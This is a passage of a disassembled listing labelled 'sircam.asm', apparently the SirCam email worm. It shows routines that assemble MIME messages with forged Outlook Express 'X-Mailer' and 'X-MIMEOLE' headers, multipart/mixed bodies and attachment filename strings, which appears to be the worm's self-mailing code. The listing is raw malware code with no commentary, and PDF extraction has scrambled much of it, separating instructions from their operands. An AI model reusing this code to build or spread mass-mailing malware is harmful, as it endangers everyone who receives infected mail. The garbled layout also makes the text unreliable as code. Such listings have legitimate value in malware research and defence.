0FFFFFFFFh, 4 dword_412408 dd 2D2D2D2Dh, 0, 0FFFFFFFFh, 21h ; DATA XREF: sub_41238C+28\030o a_outlook_expre db ’_Outlook_Express_message_boundary’,0 ; DATA XREF: sub_41238C+3F\030o align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_41243C proc near ; DATA XREF: CODE:0041A978\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_412478 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E668 jnz short loc_41246A mov eax, offset off_41D76C mov ecx, 30h mov edx, ds:off_401000 call sub_403BE8 loc_41246A: xor pop pop pop mov push ; CODE XREF: sub_41243C+17\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_41247F locret_412477: ; CODE XREF: sub_41243C+41\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412478: ; DATA XREF: sub_41243C+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_412477 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41247F: sub_41243C ; CODE XREF: sub_41243C+3B\030j ; DATA XREF: sub_41243C+36\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_412484: ; DATA XREF: CODE:0041A974\031o sub ds:dword_41E668, 1 jnb short locret_4124C3 jmp short locret_4124C3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ aOutlookExpre_3 db ’Outlook Express MIME messages encoding and decoding’,0 sircam.asm Fri Aug 10 12:42:44 2001 500 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ locret_4124C3: ; CODE XREF: CODE:0041248B\030j ; CODE:0041248D\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_4124C4 dd offset dword_4124C8 ; DATA XREF: CODE:0041254E\031o dword_4124C8 dd 4D540B0Eh, 48737365h, 65646165h, 1072h, 300h ; DATA XREF: CODE:004124C 4\030o db 0 dd offset off_401000 dd 0 dd offset off_401000 dd 8 dd offset off_401000 dd 0Ch align 4 off_4124F8 dd offset dword_412544 ; DATA XREF: sub_4190CC+AC3\031r dd 2 dup(0) dd offset dword_412544 dd 4 dup(0) dd offset dword_412556 dd 1Ch dd offset off_40100C dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_4125C4 dword_412544 dd 0Eh, 10000h ; DATA XREF: CODE:004124F8\030o ; CODE:00412504\030o db 2 dup(0) dd offset off_4124C4 dd 0Ch dword_412556 dd 694D5409h, 654D656Dh ; DATA XREF: CODE:00412518\030o db 2 dup(73h) ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_412560 proc near ; CODE XREF: sub_4190CC+AC8\031p push ebx push esi test dl, dl jz short loc_41256E add esp, 0FFFFFFF0h call sub_402CDC loc_41256E: mov mov xor mov call mov mov call mov mov mov call mov mov mov call mov mov ; CODE XREF: sub_412560+4\030j ebx, edx esi, eax edx, edx eax, esi sub_402BAC dl, 1 eax, ds:off_40B8BC sub_402BAC [esi+4], eax dl, 1 eax, ds:off_40BB68 sub_402BAC [esi+8], eax dl, 1 eax, ds:off_40BB68 sub_402BAC [esi+10h], eax eax, esi sircam.asm Fri Aug 10 12:42:44 2001 test jz call pop add bl, bl short loc_4125BD sub_402D34 large dword ptr fs:0 esp, 0Ch mov pop pop retn endp eax, esi esi ebx loc_4125BD: sub_412560 501 ; CODE XREF: sub_412560+4C\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4125C4 proc near ; DATA XREF: CODE:00412540\030o push ebx push esi call sub_402D3C mov ebx, edx mov esi, eax mov eax, [esi+10h] call sub_402BDC mov eax, [esi+8] call sub_402BDC mov eax, [esi+4] call sub_402BDC mov edx, ebx and dl, 0FCh mov eax, esi call sub_402BCC test bl, bl jle short loc_4125FE mov eax, esi call sub_402D2C loc_4125FE: sub_4125C4 ; CODE XREF: sub_4125C4+31\030j pop pop retn endp esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_412604 proc near sub_412604 push mov mov mov call mov mov call pop retn endp ; CODE XREF: sub_412620+1C\031p ; sub_412708+28\031p ebx ebx, eax dl, 1 eax, ds:off_411644 sub_411838 edx, eax eax, [ebx+4] sub_40C0D0 ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm Fri Aug 10 12:42:44 2001 502 ; Attributes: bp-based frame sub_412620 proc near var_4 = dword ptr -4 push mov push push push push mov mov xor push push push mov mov call mov mov mov call mov mov mov mov call mov mov call lea mov call lea mov call lea mov mov call mov mov mov call mov mov mov call xor pop pop pop mov push ; CODE XREF: sub_4190CC+BAD\031p ebp ebp, esp 0 ebx esi edi esi, edx ebx, eax eax, eax ebp offset loc_4126BE dword ptr fs:[eax] fs:[eax], esp eax, ebx sub_412604 edi, eax edx, edi eax, [ebx+4] sub_40C20C ebx, eax edx, [ebx+28h] eax, esi ecx, [eax] dword ptr [ecx+68h] edx, offset aText_0 ; "text" eax, ebx sub_411F70 eax, [ebx+14h] edx, offset aPlain_0 ; "plain" sub_40351C eax, [ebx+18h] edx, offset dword_4126F4 sub_40351C edx, [ebp+var_4] eax, esi ecx, [eax] dword ptr [ecx+1Ch] eax, [ebp+var_4] ecx, ds:dword_412704 dl, [ebx+13h] sub_40F230 [ebx+12h], al byte ptr [ebx+11h], 2 eax, ebx sub_4118CC eax, eax edx ecx ecx fs:[eax], edx offset loc_4126C5 loc_4126B5: sub_412620 ; CODE XREF: CODE:004126C3\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -18h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4126BE: ; DATA XREF: sub_412620+F\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 503 jmp short loc_4126B5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4126C5: ; DATA XREF: sub_412620+90\030o pop edi pop esi pop ebx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 4 aText_0 db ’text’,0 ; DATA XREF: sub_412620+39\030o align 4 dd 0FFFFFFFFh, 5 aPlain_0 db ’plain’,0 ; DATA XREF: sub_412620+48\030o align 4 dd 0FFFFFFFFh, 0Ch dword_4126F4 dd 7373656Dh, 20656761h, 74786574h, 0 ; DATA XREF: sub_412620+55\030o dword_412704 dd 3FFh ; DATA XREF: sub_412620+6C\030r ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_412708 proc near var_C var_8 var_4 = dword ptr -0Ch = dword ptr -8 = dword ptr -4 push mov push push push push push mov mov mov call xor push push push mov mov call mov mov mov call mov mov mov call mov mov call lea mov call mov lea call mov lea call ; CODE XREF: sub_4190CC+BDB\031p ebp ebp, esp 0 0 0 ebx esi [ebp+var_4], edx ebx, eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_4127DC dword ptr fs:[eax] fs:[eax], esp eax, ebx sub_412604 esi, eax edx, esi eax, [ebx+4] sub_40C20C ebx, eax edx, [ebp+var_4] eax, [ebx+28h] sub_40DB00 edx, [ebp+var_4] eax, ebx sub_411E58 edx, [ebp+var_C] eax, [ebp+var_4] sub_4073EC eax, [ebp+var_C] edx, [ebp+var_8] sub_406E9C edx, [ebp+var_8] eax, [ebx+20h] sub_40351C sircam.asm Fri Aug 10 12:42:44 2001 504 mov edx, [ebx+20h] mov eax, offset dword_4127F4 call sub_4039B4 test eax, eax jnz short loc_41279C lea eax, [ebx+18h] mov ecx, [ebx+20h] mov edx, offset aAttachmentFile ; "attachment; filename=" call sub_403770 jmp short loc_4127B6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41279C: push push push lea mov call ; CODE XREF: sub_412708+80\030j offset aAttachmentFi_0 ; "attachment; filename=\"" dword ptr [ebx+20h] offset dword_412840 eax, [ebx+18h] edx, 3 sub_4037E4 mov mov call xor pop pop pop mov push ; CODE XREF: sub_412708+92\030j byte ptr [ebx+11h], 3 eax, ebx sub_4118CC eax, eax edx ecx ecx fs:[eax], edx offset loc_4127E3 loc_4127B6: loc_4127CE: sub_412708 ; CODE XREF: CODE:004127E1\031j lea eax, [ebp+var_C] mov edx, 3 call sub_4034EC retn endp ; sp = -28h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4127DC: ; DATA XREF: sub_412708+1B\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4127CE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4127E3: ; DATA XREF: sub_412708+C1\030o pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_4127F4 dd 20h, 0FFFFFFFFh, 16h ; DATA XREF: sub_412708+74\030o aAttachmentFile db ’attachment; filename=’,0 ; DATA XREF: sub_412708+88\030o align 4 dd 0FFFFFFFFh, 17h aAttachmentFi_0 db ’attachment; filename="’,0 ; DATA XREF: sub_412708+94\030o dd 0FFFFFFFFh, 1 dword_412840 dd 22h ; DATA XREF: sub_412708+9C\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_412844 proc near var_10 = dword ptr -10h ; CODE XREF: sub_4190CC+BE5\031p sircam.asm var_C var_8 var_4 Fri Aug 10 12:42:44 2001 505 = dword ptr -0Ch = dword ptr -8 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ebx push esi push edi mov ebx, eax xor eax, eax push ebp push offset loc_4129AB push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebx+8] mov edx, [eax] call dword ptr [edx+40h] mov esi, [ebx+4] cmp dword ptr [esi+8], 1 jnz short loc_41288A mov eax, esi xor edx, edx call sub_40C20C mov edx, [eax+24h] mov eax, [ebx+8] mov ecx, [eax] call dword ptr [ecx+8] jmp loc_412988 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41288A: ; CODE XREF: sub_412844+2B\030j lea call mov mov dec test jl inc xor eax, [ebp+var_4] sub_41238C eax, [ebx+4] esi, [eax+8] esi esi, esi short loc_4128D4 esi edi, edi lea mov mov call mov mov mov call mov mov call mov mov mov call inc dec jnz ; CODE XREF: sub_412844+8E\031j eax, [ebp+var_C] ecx, [ebp+var_4] edx, offset dword_4129C4 sub_403770 edx, [ebp+var_C] eax, [ebx+8] ecx, [eax] dword ptr [ecx+34h] eax, [ebx+4] edx, edi sub_40C20C edx, [eax+24h] eax, [ebx+8] ecx, [eax] dword ptr [ecx+3Ch] edi esi short loc_4128A0 lea mov ; CODE XREF: sub_412844+57\030j eax, [ebp+var_10] ecx, [ebp+var_4] loc_4128A0: loc_4128D4: sircam.asm Fri Aug 10 12:42:44 2001 mov call mov mov mov call mov mov call mov xor push push push mov mov mov mov mov call mov mov call mov add mov call mov add mov call mov add mov call mov call mov mov mov mov call xor pop pop pop mov push 506 edx, offset dword_4129C4 sub_403770 edx, [ebp+var_10] eax, [ebx+8] ecx, [eax] dword ptr [ecx+34h] dl, 1 eax, ds:off_411644 sub_411838 [ebp+var_8], eax eax, eax ebp offset loc_412981 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_8] edx, [eax+28h] eax, [ebx+8] ecx, [eax] dword ptr [ecx+68h] edx, offset aMultipart_0 ; "multipart" eax, [ebp+var_8] sub_411F70 eax, [ebp+var_8] eax, 14h edx, offset aMixed_1 ; "mixed" sub_40351C eax, [ebp+var_8] eax, 18h edx, offset aMultipartMessa ; "Multipart message" sub_40351C eax, [ebp+var_8] eax, 1Ch edx, [ebp+var_4] sub_40351C eax, [ebp+var_8] sub_4118CC eax, [ebp+var_8] edx, [eax+24h] eax, [ebx+8] ecx, [eax] dword ptr [ecx+8] eax, eax edx ecx ecx fs:[eax], edx offset loc_412988 loc_412978: ; CODE XREF: sub_412844+142\031j mov eax, [ebp+var_8] call sub_402BDC retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412981: ; DATA XREF: sub_412844+BD\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_412978 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412988: ; CODE XREF: sub_412844+41\030j ; DATA XREF: sub_412844+12F\030o xor pop pop pop mov push eax, eax edx ecx ecx fs:[eax], edx offset loc_4129B2 sircam.asm loc_412995: sub_412844 Fri Aug 10 12:42:44 2001 507 ; CODE XREF: CODE:004129B0\031j lea eax, [ebp+var_10] mov edx, 2 call sub_4034EC lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -24h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4129AB: ; DATA XREF: sub_412844+11\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_412995 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4129B2: ; DATA XREF: sub_412844+14C\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 2 dword_4129C4 dd 2D2Dh, 0FFFFFFFFh, 9 ; DATA XREF: sub_412844+62\030o ; sub_412844+96\030o aMultipart_0 db ’multipart’,0 ; DATA XREF: sub_412844+D6\030o align 4 dd 0FFFFFFFFh, 5 aMixed_1 db ’mixed’,0 ; DATA XREF: sub_412844+E9\030o align 4 dd 0FFFFFFFFh, 11h aMultipartMessa db ’Multipart message’,0 ; DATA XREF: sub_412844+F9\030o align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_412A08 proc near var_30 var_2C var_28 var_20 var_1C var_18 var_14 var_10 var_C var_8 var_4 = = = = = = = = = = = dword dword qword dword dword dword dword dword dword dword dword ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ; CODE XREF: sub_4190CC+BEF\031p -30h -2Ch -28h -20h -1Ch -18h -14h -10h -0Ch -8 -4 push mov mov ebp ebp, esp ecx, 6 push push dec jnz push push push mov xor 0 0 ecx short loc_412A10 ebx esi edi ebx, eax eax, eax loc_412A10: ; CODE XREF: sub_412A08+D\031j sircam.asm Fri Aug 10 12:42:44 2001 508 push push push mov mov ebp offset loc_412B7A dword ptr fs:[eax] fs:[eax], esp ecx, offset aXMailerMicroso ; "X-Mailer: Microsoft Outlook Expres xor mov mov call mov edx, edx eax, [ebx+8] esi, [eax] dword ptr [esi+54h] ecx, offset aXMimeoleProduc ; "X-MIMEOLE: Produced By Microsoft M xor mov mov call mov xor mov mov call call add fstp wait lea call mov lea mov call mov xor mov mov call cmp jz lea mov call mov lea mov call mov xor mov mov call edx, edx eax, [ebx+8] esi, [eax] dword ptr [esi+54h] ecx, offset aMimeVersion1_0 ; "MIME-Version: 1.0" edx, edx eax, [ebx+8] esi, [eax] dword ptr [esi+54h] sub_408090 esp, 0FFFFFFF8h [esp+28h+var_28] s 5.5"... imeOL"... loc_412AB6: eax, [ebp+var_C] sub_411110 ecx, [ebp+var_C] eax, [ebp+var_8] edx, offset dword_412C2C sub_403770 ecx, [ebp+var_8] edx, edx eax, [ebx+8] esi, [eax] dword ptr [esi+54h] dword ptr [ebx+18h], 0 short loc_412AB6 edx, [ebp+var_14] eax, [ebx+18h] sub_412240 ecx, [ebp+var_14] eax, [ebp+var_10] edx, offset dword_412C3C sub_403770 ecx, [ebp+var_10] edx, edx eax, [ebx+8] esi, [eax] dword ptr [esi+54h] cmp jz lea mov call mov lea mov call mov xor mov mov call ; CODE XREF: sub_412A08+84\030j dword ptr [ebx+14h], 0 short loc_412AE4 edx, [ebp+var_1C] eax, [ebx+14h] sub_412240 ecx, [ebp+var_1C] eax, [ebp+var_18] edx, offset dword_412C54 sub_403770 ecx, [ebp+var_18] edx, edx eax, [ebx+8] esi, [eax] dword ptr [esi+54h] mov mov eax, [ebx+10h] edx, [eax] loc_412AE4: ; CODE XREF: sub_412A08+B2\030j sircam.asm Fri Aug 10 12:42:44 2001 call mov dec test jl inc mov dword ptr [edx+14h] esi, eax esi esi, esi short loc_412B37 esi [ebp+var_4], 0 lea mov mov mov call mov lea call mov lea mov call mov xor mov mov call inc dec jnz ; CODE XREF: sub_412A08+12D\031j ecx, [ebp+var_28] edx, [ebp+var_4] eax, [ebx+10h] edi, [eax] dword ptr [edi+0Ch] eax, dword ptr [ebp+var_28] edx, [ebp+var_28+4] sub_4122C8 ecx, dword ptr [ebp+var_28+4] eax, [ebp+var_20] edx, offset dword_412C68 sub_403770 ecx, [ebp+var_20] edx, edx eax, [ebx+8] edi, [eax] dword ptr [edi+54h] [ebp+var_4] esi short loc_412AFB lea mov call mov lea mov call mov xor mov mov call xor pop pop pop mov push ; CODE XREF: sub_412A08+E9\030j edx, [ebp+var_30] eax, [ebx+0Ch] sub_4122C8 ecx, [ebp+var_30] eax, [ebp+var_2C] edx, offset dword_412C78 sub_403770 ecx, [ebp+var_2C] edx, edx eax, [ebx+8] ebx, [eax] dword ptr [ebx+54h] eax, eax edx ecx ecx fs:[eax], edx offset loc_412B81 loc_412AFB: loc_412B37: loc_412B6C: sub_412A08 509 ; CODE XREF: CODE:00412B7F\031j lea eax, [ebp+var_30] mov edx, 0Bh call sub_4034EC retn endp ; sp = -24h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412B7A: ; DATA XREF: sub_412A08+17\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_412B6C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412B81: ; DATA XREF: sub_412A08+15F\030o pop pop pop mov edi esi ebx esp, ebp sircam.asm Fri Aug 10 12:42:44 2001 510 pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 32h aXMailerMicroso db ’X-Mailer: Microsoft Outlook Express 5.50.4133.2400’,0 ; DATA XREF: sub_412A08+22\030o align 4 dd 0FFFFFFFFh, 38h aXMimeoleProduc db ’X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400’,0 ; DATA XREF: sub_412A08+31\030o align 4 dd 0FFFFFFFFh, 11h aMimeVersion1_0 db ’MIME-Version: 1.0’,0 ; DATA XREF: sub_412A08+40\030o align 4 dd 0FFFFFFFFh, 6 dword_412C2C dd 65746164h, 203Ah, 0FFFFFFFFh, 0Eh ; DATA XREF: sub_412A08+69\030o dword_412C3C dd 6167724Fh, 617A696Eh, 6E6F6974h, 203Ah, 0FFFFFFFFh ; DATA XREF: sub_412A08+97\030o dd 9 dword_412C54 dd 6A627553h, 3A746365h, 20h, 0FFFFFFFFh, 4 ; DATA XREF: sub_412A08+C5 \030o dword_412C68 dd 203A6F54h, 0, 0FFFFFFFFh, 6 ; DATA XREF: sub_412A08+112\030o dword_412C78 dd 6D6F7246h, 203Ah ; DATA XREF: sub_412A08+140\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_412C80 proc near ; DATA XREF: CODE:0041A980\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_412CA5 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E66C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_412CAC locret_412CA4: ; CODE XREF: sub_412C80+2A\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412CA5: ; DATA XREF: sub_412C80+6\030o jmp loc_402F60 ; 